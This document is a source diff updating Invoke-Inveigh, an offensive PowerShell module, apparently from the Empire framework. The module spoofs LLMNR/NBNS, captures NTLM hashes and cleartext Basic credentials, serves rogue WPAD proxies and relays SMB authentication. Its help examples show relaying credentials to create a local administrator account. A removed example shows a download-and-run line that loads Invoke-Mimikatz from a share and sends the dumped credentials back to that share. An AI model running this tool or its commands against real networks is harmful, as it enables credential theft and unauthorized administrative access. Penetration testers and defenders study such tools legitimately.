diff --git a/data/module_source/collection/Invoke-Inveigh.ps1 b/data/module_source/collection/Invoke-Inveigh.ps1 index c656c99..e4025d1 100644 --- a/data/module_source/collection/Invoke-Inveigh.ps1 +++ b/data/module_source/collection/Invoke-Inveigh.ps1 @@ -2,98 +2,195 @@ Function Invoke-Inveigh { <# .SYNOPSIS -Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with challenge/response capture over HTTP(S)/SMB and NTLMv2 HTTP to SMB relay. +Invoke-Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with challenge/response capture over HTTP/HTTPS/SMB. + .DESCRIPTION -Inveigh is a Windows PowerShell LLMNR/NBNS spoofer designed to assist penetration testers that find themselves limited to a Windows system. -This can commonly occur while performing standard post exploitation, phishing attacks, USB drive attacks, VLAN pivoting, or simply being restricted to a Windows system as part of client imposed restrictions. +Invoke-Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with the following features: + + IPv4 LLMNR/NBNS spoofer with granular control + NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS/SMB + Basic auth cleartext credential capture over HTTP/HTTPS + WPAD server capable of hosting a basic or custom wpad.dat file + HTTP/HTTPS server capable of hosting limited content + Granular control of console and file output + Run time control + .PARAMETER IP -Specify a specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the 'SpoofIP' parameter is not set. +Specify a specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the 'SpooferIP' parameter is not set. + .PARAMETER SpooferIP Specify an IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host. + +.PARAMETER SpooferHostsReply +Default = All: Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS. + +.PARAMETER SpooferHostsIgnore +Default = All: Comma separated list of requested hostnames to ignore when spoofing with LLMNR and NBNS. + +.PARAMETER SpooferIPsReply +Default = All: Comma separated list of source IP addresses to respond to when spoofing with LLMNR and NBNS. + +.PARAMETER SpooferIPsIgnore +Default = All: Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS. + +.PARAMETER SpooferRepeat +Default = Enabled: (Y/N) Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured. + .PARAMETER LLMNR -Default = Enabled: Enable/Disable LLMNR spoofing. +Default = Enabled: (Y/N) Enable/Disable LLMNR spoofing. + +.PARAMETER LLMNRTTL +Default = 30 Seconds: Specify a custom LLMNR TTL in seconds for the response packet. + .PARAMETER NBNS -Default = Disabled: Enable/Disable NBNS spoofing. +Default = Disabled: (Y/N) Enable/Disable NBNS spoofing. + +.PARAMETER NBNSTTL +Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet. + .PARAMETER NBNSTypes Default = 00,20: Comma separated list of NBNS types to spoof. Types include 00 = Workstation Service, 03 = Messenger Service, 20 = Server Service, 1B = Domain Name -.PARAMETER Repeat -Default = Enabled: Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured. -.PARAMETER SpoofList -Default = All: Comma separated list of hostnames to spoof with LLMNR and NBNS. + .PARAMETER HTTP -Default = Enabled: Enable/Disable HTTP challenge/response capture. +Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. + .PARAMETER HTTPS -Default = Disabled: Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443. +Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443. If the script does not exit gracefully, execute "netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" in the cert store. + +.PARAMETER HTTPAuth +Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not apply to wpad.dat requests. + +.PARAMETER HTTPBasicRealm +Specify a realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. + +.PARAMETER HTTPDir +Specify a full directory path to enable hosting of basic content through the HTTP/HTTPS listener. This parameter will not be used if HTTPResponse is set. + +.PARAMETER HTTPDefaultFile +Specify a filename within the HTTPDir to serve as the default HTTP/HTTPS response file. This file will not be used for wpad.dat requests. + +.PARAMETER HTTPDefaultEXE +Specify an EXE filename within the HTTPDir to serve as the default HTTP/HTTPS response for EXE requests. + +.PARAMETER HTTPResponse +Specify a string or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat requests. + +.PARAMETER HTTPSCertAppID +Specify a valid application GUID for use with the ceriticate. + +.PARAMETER HTTPSCertThumbprint +Specify a certificate thumbprint for use with a custom certificate. The certificate filename must be located in the current working directory and named Inveigh.pfx. + +.PARAMETER WPADAuth +Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts. + +.PARAMETER WPADIP +Specify a proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort. + +.PARAMETER WPADPort +Specify a proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP. + +.PARAMETER WPADDirectHosts +Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. + +.PARAMETER WPADResponse +Specify wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort are set. + .PARAMETER SMB -Default = Enabled: Enable/Disable SMB challenge/response capture. Warning, LLMNR/NBNS spoofing can still direct targets to the host system's SMB server. -Block TCP ports 445/139 if you need to prevent login requests from being processed by the Inveigh host. +Default = Enabled: (Y/N) Enable/Disable SMB challenge/response capture. Warning, LLMNR/NBNS spoofing can still direct targets to the host system's SMB server. +Block TCP ports 445/139 or kill the SMB services if you need to prevent login requests from being processed by the Inveigh host. + .PARAMETER Challenge -Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. +Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. This will only be used for non-relay captures. + .PARAMETER MachineAccounts -Default = Disabled: Enable/Disable showing NTLM challenge/response captures from machine accounts. -.PARAMETER ForceWPADAuth -Default = Enabled: Matches Responder option to Enable/Disable authentication for wpad.dat GET requests. Disabling can prevent browser login prompts. +Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. + .PARAMETER SMBRelay -Default = Disabled: Enable/Disable SMB relay. +Default = Disabled: (Y/N) Enable/Disable SMB relay. Note that Inveigh-Relay.ps1 must be loaded into memory. + .PARAMETER SMBRelayTarget IP address of system to target for SMB relay. + .PARAMETER SMBRelayCommand Command to execute on SMB relay target. + .PARAMETER SMBRelayUsernames Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format. + .PARAMETER SMBRelayAutoDisable -Default = Enable: Automaticaly disable SMB relay after a successful command execution on target. +Default = Enable: (Y/N) Automaticaly disable SMB relay after a successful command execution on target. + .PARAMETER SMBRelayNetworkTimeout -Default = No Timeout: Set the duration in seconds that Inveigh will wait for a reply from the SMB relay target after each packet is sent. +Default = No Timeout: (Integer) Set the duration in seconds that Inveigh will wait for a reply from the SMB relay target after each packet is sent. + .PARAMETER ConsoleOutput -Default = Disabled: Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. +Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. + .PARAMETER FileOutput -Default = Disabled: Enable/Disable real time file output. +Default = Disabled: (Y/N) Enable/Disable real time file output. + .PARAMETER StatusOutput -Default = Enabled: Enable/Disable statup and shutdown messages. +Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. + .PARAMETER OutputStreamOnly -Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh through a shell that does not return other output streams. +Default = Disabled: (Y/N) Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh through a shell that does not return other output streams. Note that you will not see the various yellow warning messages if enabled. + .PARAMETER OutputDir -Default = Working Directory: Set an output directory for log and capture files. +Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must also be enabled. + .PARAMETER ShowHelp -Default = Enabled: Enable/Disable the help messages at startup. +Default = Enabled: (Y/N) Enable/Disable the help messages at startup. + .PARAMETER RunTime -Set the run time duration in minutes. +(Integer) Set the run time duration in minutes. + +.PARAMETER Inspect +(Switch) Disable LLMNR, NBNS, HTTP, HTTPS, and SMB in order to only inspect LLMNR/NBNS traffic. + .PARAMETER Tool -Default = 0: Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire +Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire + .EXAMPLE Import-Module .\Inveigh.psd1;Invoke-Inveigh Import full module and execute with all default settings. + .EXAMPLE . ./Inveigh.ps1;Invoke-Inveigh -IP 192.168.1.10 Dot source load and execute specifying a specific local listening/spoofing IP. + .EXAMPLE Invoke-Inveigh -IP 192.168.1.10 -HTTP N Execute specifying a specific local listening/spoofing IP and disabling HTTP challenge/response. + .EXAMPLE -Invoke-Inveigh -Repeat N -ForceWPADAuth N -SpoofList host1,host2 +Invoke-Inveigh -SpooferRepeat N -WPADAuth Anonymous -SpooferHostsReply host1,host2 -SpooferIPsReply 192.168.2.75,192.168.2.76 Execute with the stealthiest options. + +Invoke-Inveigh -Inspect +Execute with LLMNR, NBNS, SMB, HTTP, and HTTPS disabled in order to only inpect LLMNR/NBNS traffic. + .EXAMPLE -Invoke-Inveigh -HTTP N -LLMNR N +Invoke-Inveigh -HTTP N -LLMNR N -NBNS N Execute with LLMNR/NBNS spoofing disabled and challenge/response capture over SMB only. This may be useful for capturing non-Kerberos authentication attempts on a file server. + .EXAMPLE Invoke-Inveigh -IP 192.168.1.10 -SpooferIP 192.168.2.50 -HTTP N Execute specifying a specific local listening IP and a LLMNR/NBNS spoofing IP on another subnet. This may be useful for sending traffic to a controlled Linux system on another subnet. + .EXAMPLE -Invoke-Inveigh -SMBRelay y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Summer2015 /add && net localgroup administrators Dave /add" +Invoke-Inveigh -HTTPResponse '
' +Execute specifying an HTTP redirect response. + +.EXAMPLE +Invoke-Inveigh -SMBRelay y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Spring2016 /add && net localgroup administrators Dave /add" Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay target. -.EXAMPLE -Invoke-Inveigh -SMBRelay Y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "powershell \\192.168.2.50\temp$\powermeup.cmd" -Execute with SMB relay enabled and using Mubix's powermeup.cmd method of launching Invoke-Mimikatz.ps1 and uploading output. In this example, a hidden anonymous share containing Invoke-Mimikatz.ps1 is employed on the Inveigh host system. -Powermeup.cmd contents used for this example: -powershell "IEX (New-Object Net.WebClient).DownloadString('\\192.168.2.50\temp$\Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.2.50\temp$\%COMPUTERNAME%.txt 2>&1" -Original version: -https://github.com/mubix/post-exploitation/blob/master/scripts/mass_mimikatz/powermeup.cmd + .NOTES 1. An elevated administrator or SYSTEM shell is needed. -2. Currently supports IPv4 LLMNR/NBNS spoofing and HTTP/SMB NTLMv1/NTLMv2 challenge/response capture. +2. Currently supports IPv4 LLMNR/NBNS spoofing and HTTP/HTTPS/SMB NTLMv1/NTLMv2 challenge/response capture. 3. LLMNR/NBNS spoofing is performed through sniffing and sending with raw sockets. 4. SMB challenge/response captures are performed by sniffing over the host system's SMB service. 5. HTTP challenge/response captures are performed with a dedicated listener. @@ -102,42 +199,60 @@ https://github.com/mubix/post-exploitation/blob/master/scripts/mass_mimikatz/pow 8. Kerberos should downgrade for SMB authentication due to spoofed hostnames not being valid in DNS. 9. Ensure that the LMMNR,NBNS,SMB,HTTP ports are open within any local firewall on the host system. 10. If you copy/paste challenge/response captures from output window for password cracking, remove carriage returns. -11. SMB relay support is experimental at this point, use caution if employing on a pen test. + .LINK https://github.com/Kevin-Robertson/Inveigh #> -# Default parameter values can be modified below +# Parameter default values can be modified in this section: param ( - [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$IP = "", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SpooferIP = "", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTP="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTPS="N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMB="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$LLMNR="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$NBNS="N", - [parameter(Mandatory=$false)][ValidateSet("00","03","20","1B","1C","1D","1E")][array]$NBNSTypes=@("00","20"), - [parameter(Mandatory=$false)][array]$SpoofList="", - [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][string]$Challenge="", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMBRelay="N", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SMBRelayTarget ="", - [parameter(Mandatory=$false)][array]$SMBRelayUsernames, - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMBRelayAutoDisable="Y", - [parameter(Mandatory=$false)][int]$SMBRelayNetworkTimeout="", - [parameter(Mandatory=$false)][string]$SMBRelayCommand = "", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$Repeat="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ForceWPADAuth="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SpooferRepeat="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ConsoleOutput="N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$FileOutput="N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$StatusOutput="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$OutputStreamOnly="N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$MachineAccounts="N", - [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][string]$OutputDir="", - [parameter(Mandatory=$false)][int]$RunTime="", - [parameter(Mandatory=$false)][ValidateSet("0","1","2")][string]$Tool="0", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y", - [parameter(ValueFromRemainingArguments=$true)] $invalid_parameter + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMBRelay="N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMBRelayAutoDisable="Y", + [parameter(Mandatory=$false)][ValidateSet("0","1","2")][string]$Tool="0", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][string]$HTTPAuth="NTLM", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][string]$WPADAuth="NTLM", + [parameter(Mandatory=$false)][ValidateSet("00","03","20","1B","1C","1D","1E")][array]$NBNSTypes=@("00","20"), + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$IP="", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SpooferIP="", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$WPADIP = "", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SMBRelayTarget ="", + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][string]$HTTPDir="", + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][string]$OutputDir="", + [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][string]$Challenge="", + [parameter(Mandatory=$false)][array]$SpooferHostsReply="", + [parameter(Mandatory=$false)][array]$SpooferHostsIgnore="", + [parameter(Mandatory=$false)][array]$SpooferIPsReply="", + [parameter(Mandatory=$false)][array]$SpooferIPsIgnore="", + [parameter(Mandatory=$false)][array]$SMBRelayUsernames="", + [parameter(Mandatory=$false)][array]$WPADDirectHosts="", + [parameter(Mandatory=$false)][int]$LLMNRTTL="30", + [parameter(Mandatory=$false)][int]$NBNSTTL="165", + [parameter(Mandatory=$false)][int]$WPADPort="", + [parameter(Mandatory=$false)][int]$RunTime="", + [parameter(Mandatory=$false)][int]$SMBRelayNetworkTimeout="", + [parameter(Mandatory=$false)][string]$HTTPBasicRealm="IIS", + [parameter(Mandatory=$false)][string]$HTTPDefaultFile="", + [parameter(Mandatory=$false)][string]$HTTPDefaultEXE="", + [parameter(Mandatory=$false)][string]$HTTPResponse="", + [parameter(Mandatory=$false)][string]$HTTPSCertAppID="00112233-4455-6677-8899-AABBCCDDEEFF", + [parameter(Mandatory=$false)][string]$HTTPSCertThumbprint="98c1d54840c5c12ced710758b6ee56cc62fa1f0d", + [parameter(Mandatory=$false)][string]$WPADResponse="", + [parameter(Mandatory=$false)][string]$SMBRelayCommand="", + [parameter(Mandatory=$false)][switch]$Inspect, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if ($invalid_parameter) @@ -147,7 +262,7 @@ if ($invalid_parameter) if(!$IP) { - $IP = (Test-Connection 127.0.0.1 -count 1 | select -ExpandProperty Ipv4Address) + $IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) } if(!$SpooferIP) @@ -166,6 +281,36 @@ if($SMBRelay -eq 'y') { Throw "You must specify an -SMBRelayCommand if enabling -SMBRelay" } + + if($Challenge -or $HTTPDefaultFile -or $HTTPDefaultEXE -or $HTTPResponse -or $WPADIP -or $WPADPort -or $WPADResponse) + { + Throw "-Challenge -HTTPDefaultFile, -HTTPDefaultEXE, -HTTPResponse, -WPADIP, -WPADPort, and -WPADResponse can not be used when enabling -SMBRelay" + } + elseif($HTTPAuth -ne 'NTLM' -or $WPADAuth -eq 'Basic') + { + Throw "Only -HTTPAuth NTLM, -WPADAuth NTLM, and -WPADAuth Anonymous can be used when enabling -SMBRelay" + } +} + +if($HTTPDefaultFile -or $HTTPDefaultEXE) +{ + if(!$HTTPDir) + { + Throw "You must specify an -HTTPDir when using either -HTTPDefaultFile or -HTTPDefaultEXE" + } +} + +if($WPADIP -or $WPADPort) +{ + if(!$WPADIP) + { + Throw "You must specify a -WPADPort to go with -WPADIP" + } + + if(!$WPADPort) + { + Throw "You must specify a -WPADIP to go with -WPADPort" + } } if(!$OutputDir) @@ -183,11 +328,20 @@ if(!$inveigh) $inveigh.log = New-Object System.Collections.ArrayList $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList + $inveigh.cleartext_list = New-Object System.Collections.ArrayList $inveigh.IP_capture_list = @() $inveigh.SMBRelay_failed_list = @() } -$inveigh.running = $false +if($inveigh.running) +{ + Throw "Invoke-Inveigh is already running, use Stop-Inveigh" +} +elseif($inveigh.relay_running) +{ + Throw "Invoke-InveighRelay is already running, use Stop-Inveigh" +} + $inveigh.sniffer_socket = $null if($inveigh.HTTP_listener.IsListening) @@ -201,7 +355,9 @@ $inveigh.status_queue = New-Object System.Collections.ArrayList $inveigh.log_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList -$inveigh.certificate_thumbprint = "76a49fd27011cf4311fb6914c904c90a89f3e4b2" +$inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList +$inveigh.certificate_application_ID = $HTTPSCertAppID +$inveigh.certificate_thumbprint = $HTTPSCertThumbprint $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList $inveigh.console_output = $false $inveigh.console_input = $true @@ -209,7 +365,13 @@ $inveigh.file_output = $false $inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" $inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" $inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" -$Inveigh.challenge = $Challenge +$inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" +$inveigh.HTTP_response = $HTTPResponse +$inveigh.HTTP_directory = $HTTPDir +$inveigh.HTTP_default_file = $HTTPDefaultFile +$inveigh.HTTP_default_exe = $HTTPDefaultEXE +$inveigh.WPAD_response = $WPADResponse +$inveigh.challenge = $Challenge $inveigh.running = $true if($StatusOutput -eq 'y') @@ -230,6 +392,15 @@ else $inveigh.output_stream_only = $false } +if($Inspect) +{ + $LLMNR = "N" + $NBNS = "N" + $HTTP = "N" + $HTTPS = "N" + $SMB = "N" +} + if($Tool -eq 1) # Metasploit Interactive PowerShell { $inveigh.tool = 1 @@ -254,19 +425,14 @@ else # Write startup messages $inveigh.status_queue.add("Inveigh started at $(Get-Date -format 's')")|Out-Null -$inveigh.log.add("$(Get-Date -format 's') - Inveigh started") |Out-Null - -if($FileOutput -eq 'y') -{ - "$(Get-Date -format 's') - Inveigh started" |Out-File $Inveigh.log_out_file -Append -} - +$inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh started")]) |Out-Null $inveigh.status_queue.add("Listening IP Address = $IP") |Out-Null $inveigh.status_queue.add("LLMNR/NBNS Spoofer IP Address = $SpooferIP")|Out-Null if($LLMNR -eq 'y') { $inveigh.status_queue.add("LLMNR Spoofing Enabled")|Out-Null + $inveigh.status_queue.add("LLMNR TTL = $LLMNRTTL Seconds")|Out-Null $LLMNR_response_message = "- spoofed response has been sent" } else @@ -275,12 +441,6 @@ else $LLMNR_response_message = "- LLMNR spoofing is disabled" } -if($SpoofList -and ($LLMNR -eq 'y' -or $NBNS -eq 'y')) -{ - $spoof_list_output = $SpoofList -join "," - $inveigh.status_queue.add("Spoofing only $spoof_list_output")|Out-Null -} - if($NBNS -eq 'y') { $NBNSTypes_output = $NBNSTypes -join "," @@ -293,7 +453,8 @@ if($NBNS -eq 'y') { $inveigh.status_queue.add("NBNS Spoofing Of Types $NBNSTypes_output Enabled")|Out-Null } - + + $inveigh.status_queue.add("NBNS TTL = $NBNSTTL Seconds")|Out-Null $NBNS_response_message = "- spoofed response has been sent" } else @@ -302,17 +463,46 @@ else $NBNS_response_message = "- NBNS spoofing is disabled" } -if($Repeat -eq 'n') +if($SpooferHostsReply -and ($LLMNR -eq 'y' -or $NBNS -eq 'y')) { - $inveigh.repeat = $false - $inveigh.status_queue.add("Spoof Repeating Disabled")|Out-Null + $inveigh.status_queue.add("Spoofing requests for " + $SpooferHostsReply -join ",")|Out-Null +} + +if($SpooferHostsIgnore -and ($LLMNR -eq 'y' -or $NBNS -eq 'y')) +{ + $inveigh.status_queue.add("Ignoring requests for " + $SpooferHostsIgnore -join ",")|Out-Null +} + +if($SpooferIPsReply -and ($LLMNR -eq 'y' -or $NBNS -eq 'y')) +{ + $inveigh.status_queue.add("Spoofing requests from " + $SpooferIPsReply -join ",")|Out-Null +} + +if($SpooferIPsIgnore -and ($LLMNR -eq 'y' -or $NBNS -eq 'y')) +{ + $inveigh.status_queue.add("Ignoring requests from " + $SpooferIPsIgnore -join ",")|Out-Null +} + +if($SpooferRepeat -eq 'n') +{ + $inveigh.spoofer_repeat = $false + $inveigh.status_queue.add("Spoofer Repeating Disabled")|Out-Null } else { - $inveigh.repeat = $true + $inveigh.spoofer_repeat = $true $inveigh.IP_capture_list = @() } +if($SMB -eq 'y') +{ + $inveigh.status_queue.add("SMB Capture Enabled")|Out-Null +} +else +{ + $inveigh.status_queue.add("SMB Capture Disabled")|Out-Null +} + if($HTTP -eq 'y') { $inveigh.HTTP = $true @@ -332,10 +522,13 @@ if($HTTPS -eq 'y') $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") $certificate_store.Open('ReadWrite') $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 - $certificate.Import($PWD.Path + "\inveigh.pfx") + $certificate.Import($PWD.Path + "\Inveigh.pfx") $certificate_store.Add($certificate) $certificate_store.Close() - Invoke-Expression -command ("netsh http add sslcert ipport=0.0.0.0:443 certhash=" + $inveigh.certificate_thumbprint + " appid='{00112233-4455-6677-8899-AABBCCDDEEFF}'") > $null + $netsh_certhash = "certhash=" + $inveigh.certificate_thumbprint + $netsh_app_ID = "appid={" + $inveigh.certificate_application_ID + "}" + $netsh_arguments = @("http","add","sslcert","ipport=0.0.0.0:443",$netsh_certhash,$netsh_app_ID) + & "netsh" $netsh_arguments > $null $inveigh.status_queue.add("HTTPS Capture Enabled")|Out-Null } catch @@ -351,18 +544,66 @@ else $inveigh.status_queue.add("HTTPS Capture Disabled")|Out-Null } -if($Challenge) +if($inveigh.HTTP -or $inveigh.HTTPS) { - $inveigh.status_queue.add("NTLM Challenge = $Challenge")|Out-Null -} + $inveigh.status_queue.add("HTTP/HTTPS Authentication = $HTTPAuth")|Out-Null + $inveigh.status_queue.add("WPAD Authentication = $WPADAuth")|Out-Null + + if($HTTPDir -and !$HTTPResponse) + { + $inveigh.status_queue.add("HTTP/HTTPS Directory = $HTTPDir")|Out-Null + + if($HTTPDefaultFile) + { + $inveigh.status_queue.add("HTTP/HTTPS Default Response File = $HTTPDefaultFile")|Out-Null + } + + if($HTTPDefaultEXE) + { + $inveigh.status_queue.add("HTTP/HTTPS Default Response Executable = $HTTPDefaultEXE")|Out-Null + } + } + + if($HTTPResponse) + { + $inveigh.status_queue.add("HTTP/HTTPS Custom Response Enabled")|Out-Null + } + + if($HTTPAuth -eq 'Basic' -or $WPADAuth -eq 'Basic') + { + $inveigh.status_queue.add("Basic Authentication Realm = $HTTPBasicRealm")|Out-Null + } + + if($WPADIP -and $WPADPort) + { + $inveigh.status_queue.add("WPAD = $WPADIP`:$WPADPort")|Out-Null + + if($WPADDirectHosts) + { + ForEach($WPAD_direct_host in $WPADDirectHosts) + { + $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' + } + + $inveigh.WPAD_response = "function FindProxyForURL(url,host){" + $WPAD_direct_hosts_function + "return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" + $inveigh.status_queue.add("WPAD Direct Hosts = " + $WPADDirectHosts -join ",")|Out-Null + } + else + { + $inveigh.WPAD_response = "function FindProxyForURL(url,host){return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" + } + } + elseif($WPADResponse -and !$WPADIP -and !$WPADPort) + { + $inveigh.status_queue.add("WPAD Custom Response Enabled")|Out-Null + $inveigh.WPAD_response = $WPADResponse + } + + if($Challenge) + { + $inveigh.status_queue.add("NTLM Challenge = $Challenge")|Out-Null + } -if($SMB -eq 'y') -{ - $inveigh.status_queue.add("SMB Capture Enabled")|Out-Null -} -else -{ - $inveigh.status_queue.add("SMB Capture Disabled")|Out-Null } if($MachineAccounts -eq 'n') @@ -370,15 +611,6 @@ if($MachineAccounts -eq 'n') $inveigh.status_queue.add("Ignoring Machine Accounts")|Out-Null } -if($ForceWPADAuth -eq 'y') -{ - $inveigh.status_queue.add("Force WPAD Authentication Enabled")|Out-Null -} -else -{ - $inveigh.status_queue.add("Force WPAD Authentication Disabled")|Out-Null -} - if($ConsoleOutput -eq 'y') { $inveigh.status_queue.add("Real Time Console Output Enabled")|Out-Null @@ -418,7 +650,6 @@ elseif($RunTime -gt 1) if($SMBRelay -eq 'n') { - if($ShowHelp -eq 'y') { $inveigh.status_queue.add("Use Get-Command -Noun Inveigh* to show available functions")|Out-Null @@ -429,6 +660,7 @@ if($SMBRelay -eq 'n') $inveigh.status_queue.add("Press any key to stop real time console output")|Out-Null } } + if($inveigh.status_output) { while($inveigh.status_queue.Count -gt 0) @@ -459,7 +691,7 @@ if($SMBRelay -eq 'n') } else { - Invoke-InveighRelay -HTTP $HTTP -HTTPS $HTTPS -SMBRelayTarget $SMBRelayTarget -SMBRelayUsernames $SMBRelayUsernames -SMBRelayAutoDisable $SMBRelayAutoDisable -SMBRelayNetworkTimeout $SMBRelayNetworkTimeout -MachineAccounts $MachineAccounts -SMBRelayCommand $SMBRelayCommand -Tool $Tool -ShowHelp $ShowHelp + Invoke-InveighRelay -HTTP $HTTP -HTTPS $HTTPS -HTTPSCertAppID $HTTPSCertAppID -HTTPSCertThumbprint $HTTPSCertThumbprint -WPADAuth $WPADAuth -SMBRelayTarget $SMBRelayTarget -SMBRelayUsernames $SMBRelayUsernames -SMBRelayAutoDisable $SMBRelayAutoDisable -SMBRelayNetworkTimeout $SMBRelayNetworkTimeout -MachineAccounts $MachineAccounts -SMBRelayCommand $SMBRelayCommand -Tool $Tool -ShowHelp $ShowHelp } # Begin ScriptBlocks @@ -493,7 +725,7 @@ $shared_basic_functions_scriptblock = $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length-1)]) $string_data = $string_data -replace "-00","" - $string_data = $string_data.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $string_data = $string_data.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $string_extract = New-Object System.String ($string_data,0,$string_data.Length) return $string_extract } @@ -583,11 +815,10 @@ $SMB_NTLM_functions_scriptblock = { $inveigh.console_queue.add("SMB NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) } - } } - if (($inveigh.IP_capture_list -notcontains $source_IP) -and (-not $NTLM_user_string.EndsWith('$')) -and (!$inveigh.repeat) -and ($source_IP -ne $IP)) + if (($inveigh.IP_capture_list -notcontains $source_IP) -and (-not $NTLM_user_string.EndsWith('$')) -and (!$inveigh.spoofer_repeat) 